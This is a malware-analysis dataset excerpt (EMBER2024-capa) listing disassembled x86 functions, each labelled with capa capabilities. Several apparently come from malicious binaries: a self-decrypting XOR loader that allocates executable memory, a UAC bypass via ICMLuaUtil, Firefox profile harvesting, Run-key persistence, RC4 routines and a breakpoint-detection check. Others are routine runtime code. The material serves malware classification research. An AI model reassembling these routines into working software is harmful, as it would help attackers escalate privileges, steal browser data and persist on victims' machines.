joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005507
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10005516
pop dword [ebp - 0x2c]
mov eax, 0x503946a5
add eax, 0xbfc70e71
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x359a9
push 0
mov eax, 0x1c15d41f
sub eax, 0xc14e34b
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x3ae5
xor edx, edx
add edx, eax
mov edi, 0x1001c400
add edi, dword [ebp - 0x2c]
mov esi, 0xbcd0b26d
xor dword [ebp - 0xc], 0xd933def2
mov ebx, dword [edi]
sub dword [ebp - 0x1c], ebx
add ebx, esi
sub dword [ebp - 0xc], 0x94ce402a
mov dword [edx], ebx
add edx, 4
add edi, 0x2442bb5e
sub edi, 0x2442bb5a
loop 0x10005565
add eax, 0x2eeb464b
add eax, 0xd115981c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x28888194
add ecx, 0xe7777e6c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call 0x436860
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4074fd
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push 0x46631c
call fcn.00407200
and dword [ebp - 4], 0
mov edi, 0x4663e8
push edi
mov esi, 0x80004005
call 0x43ba26
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075a0
lea ecx, [ebp - 0x28]
call fcn.00407190
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push 0x46633c
push eax
mov dword [ebp - 0x14], 4
call 0x43f759
lea eax, [ebp - 0x230]
push edi
push eax
call 0x43f77b
push 0x466378
call fcn.00407200
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466518
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [0x4594e8]
mov esi, eax
test esi, esi
je 0x407595
push 0x4663a8
jmp 0x40759a
push 0x46638c
call fcn.00407200
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bc85
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push 0x466a84
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call 0x43c02a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [0x459194]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bdcf
push esi
call dword [0x459294]
sub esp, 0x18
mov ecx, esp
push 0x466b1c
call fcn.00402093
call fcn.0040c126
add esp, 0x18
jmp 0x40be03
test byte [ebp - 0x1b8], 0x10
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call 0x43fc50
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call 0x43fc50
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [0x459288]
test eax, eax
jne 0x40be28
call dword [0x459268]
dec eax
sub eax, 1
jne 0x40be1d
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [0x4590b4]
test eax, eax
jne 0x40bd39
sub esp, 0x18
mov ecx, esp
push 0x466b1c
call fcn.00402093
call fcn.0040c126
add esp, 0x18
push esi
call dword [0x459294]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [0x459294]
xor bl, bl
jmp 0x40be05
sub esp, 0x18
mov ecx, esp
push 0x466b4c
jmp 0x40bd27
Function at 0x40c29b
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push 0x466c54
mov esi, ecx
call 0x43c01f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push 0x466c64
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [0x4592a8]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c30f
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c3e5
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c3b4
test byte [ebp - 0x2e0], 0x10
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call 0x43f8a4
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call 0x43f8a4
pop ecx
pop ecx
test eax, eax
je 0x40c3b4
push 0x466c9c
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [0x459370]
test eax, eax
jne 0x40c3f5
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [0x4592a0]
test eax, eax
jne 0x40c31c
push edi
call dword [0x459294]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [0x459294]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c3dd

Function at 0x40cc5b
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x472b33], 1
push ebx
mov bh, byte [0x472b31]
mov bl, byte [0x472b30]
push ebp
push esi
push edi
mov edi, 0x465e74
mov ebp, 0x4752d8
jne 0x40ccbd
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, 0x466e88
mov ecx, 0x80000001
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bl, 1
jne 0x40ccfe
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, 0x466e88
mov ecx, 0x80000002
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bh, 1
jne 0x40cd3f
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, 0x466ee8
mov ecx, 0x80000002
call fcn.00413762
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x410803
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x41093a
cmp byte [edi + 0x3d], bl
je 0x41093a
call fcn.00402e9d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0040de4b
pop ecx
pop ecx
test al, al
je 0x410859
xor al, al
jmp 0x41093c
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.0040520c
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0040247c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0040e1cf
sub eax, ebx
je 0x4108c1
sub eax, 1
je 0x4108c4
dec eax
sub eax, 1
jne 0x41092d
inc eax
jmp 0x41092b
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x410909
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.004024bc
mov ecx, eax
call fcn.0040339b
push eax
call 0x44045c
add esp, 0x10
cmp esi, eax
jne 0x410929
cmp byte [edi + 0x3d], bl
je 0x410927
test esi, esi
jne 0x410868
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00402a51
jmp 0x410868
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov al, bl
jmp 0x41093c
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421f75
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x421fa0
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x421fa0
cmp al, 0xc0
je 0x421fa0
cmp al, 0xcc
je 0x421fa0
add edx, 2
cmp dx, cx
jb 0x421f85
pop esi
ret

Function at 0x424a4f
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, edx
mov edx, dword [esp + 0x10]
lea esi, [edi + 4]
push esi
call fcn.004249ec
mov edx, dword [esp + 0x10]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x424a6a
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x424a78
pop edi
pop esi
ret

Function at 0x426cd3
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x426ceb
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x426cde
pop esi
ret

Function at 0x426ced
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
or eax, edx
push esi
mov esi, dword [esp + 8]
or eax, esi
test al, 3
jne 0x426d08
shr esi, 2
push esi
call fcn.00426cd3
pop ecx
pop esi
ret
test esi, esi
je 0x426d19
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x426d0e
pop esi
ret

Function at 0x426d1b
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x426d3f
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x426d2e
pop edi
pop esi
pop ebx
ret

Function at 0x426d43
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x468718
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x426d4d
cmp ecx, 0x469718
jl 0x426d4a
ret
Function at 0x4036fc
Capabilities:
Terminate process

Disassembly:
jmp 0x456a64
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x456a75
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405a79
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40382d
Capabilities:
Query environment variable

Disassembly:
jmp 0x4a4b34
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4a4b45
pop esi
ret
push ebx
push edi
push esi
call fcn.004a4a1b
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004040f2
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4a4b6d
push ebx
push esi
push edi
call fcn.0040586c
add esp, 0xc
push 0
call fcn.00406410
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40592a
Capabilities:
Parse pe header

Disassembly:
jmp 0x446ded
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x446e2d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x446e2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x446e2d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x446e2d
cmp dword [ecx + 0x74], 0xe
jbe 0x446e2d
cmp dword [ecx + 0xe8], 0
je 0x446e2d
mov al, 1
ret
xor al, al
ret
Function at 0x48c898
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x48c8d7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x48c8d7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x48c8d7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x48c8d7
cmp dword [ecx + 0x74], 0xe
jbe 0x48c8d7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x49bc58
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401e06
mov eax, dword [0x4db028]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405fec
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x49bc9a
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x49bdf6
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00406154
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x503f30]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0040335f
mov ecx, dword [esi*4 + 0x503f30]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x49bdef
cmp eax, dword [ecx + edi + 0x24]
jne 0x49bdef
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49bdef
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040335f
add esp, 0x14
test edx, edx
jl 0x49bdef
jg 0x49bd65
test eax, eax
jb 0x49bdef
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x49bdef
jl 0x49bd7f
cmp dword [ebp - 0x1008], eax
ja 0x49bdef
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x49bd9d
test ebx, ebx
je 0x49bdd6
cmp ecx, edi
jae 0x49bdd6
mov al, byte [ecx]
cmp al, 0xd
jne 0x49bdb7
lea eax, [edi - 1]
cmp ecx, eax
jae 0x49bdc3
cmp byte [ecx + 1], 0xa
jne 0x49bdc3
inc ecx
jmp 0x49bdc3
movzx eax, al
movsx eax, byte [eax + 0x4db578]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x49bd9d
cmp edx, ebx
jne 0x49bd9d
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x49bdf4
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403134
leave
ret
Function at 0x49c535
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x503f30]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49c575
cmp byte [ebx], 0xa
jne 0x49c575
or byte [edi + eax + 0x28], 4
jmp 0x49c57a
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x49c679
mov dl, byte [eax]
cmp dl, 0x1a
je 0x49c65c
inc eax
cmp dl, 0xd
je 0x49c5a6
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x49c5cc
cmp eax, ecx
jae 0x49c5da
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x49c58e
jmp 0x49c679
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49c657
cmp dword [ebp - 0x10], 0
je 0x49c657
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x503f30]
test byte [eax + edi + 0x28], 0x48
je 0x49c631
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x49c61c
mov byte [esi], dl
jmp 0x49c62d
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x503f30]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x49c679
cmp byte [ebp - 1], 0xa
jne 0x49c640
cmp esi, ebx
jne 0x49c640
mov byte [esi], 0xa
jmp 0x49c678
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040197e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x49c679
mov byte [esi], 0xd
jmp 0x49c678
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x503f30]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49c676
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x49c679
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x49c6d5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x503f30]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49c71b
cmp word [ebx], dx
jne 0x49c71b
or byte [eax + edi + 0x28], 4
jmp 0x49c720
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x49c883
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x49c863
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x49c761
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x49c797
cmp eax, edx
jae 0x49c7a5
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x49c73c
jmp 0x49c883
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49c85e
cmp dword [ebp - 0x18], 0
je 0x49c85e
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x503f30]
test byte [eax + edi + 0x28], 0x48
je 0x49c834
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x49c7f8
mov word [esi], cx
jmp 0x49c82f
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x503f30]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x503f30]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x503f30]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x49c883
pop eax
cmp word [ebp - 4], ax
jne 0x49c844
cmp esi, ebx
jne 0x49c844
mov word [esi], ax
jmp 0x49c880
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040197e
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x49c883
push 0xd
pop eax
jmp 0x49c83f
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x503f30]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x49c87d
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x49c883
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4a312d
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4db028]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4a3178
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004a35a2
test al, al
jne 0x4a3172
sub edx, 2
cmp edx, edi
jne 0x4a3158
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4a319a
lea eax, [edi + 2]
cmp edx, eax
je 0x4a319a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004a2d26
add esp, 0x10
jmp 0x4a3294
push esi
lea ecx, [ebp - 0x255]
call fcn.004a35a2
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4a31dd
push dword [ebp - 0x25c]
jmp 0x4a318a
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4a321a
cmp word [ebp - 0x226], 0
je 0x4a323b
cmp word [ebp - 0x226], ax
jne 0x4a321a
cmp word [ebp - 0x224], 0
je 0x4a323b
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004a2d26
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4a3287
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4a31f4
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4a326f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4a3294
push 0x4a270e
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040569b
add esp, 0x10
jmp 0x4a3264
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403134
leave
ret

Function at 0x4a8e4d
Capabilities:
Get geographical location

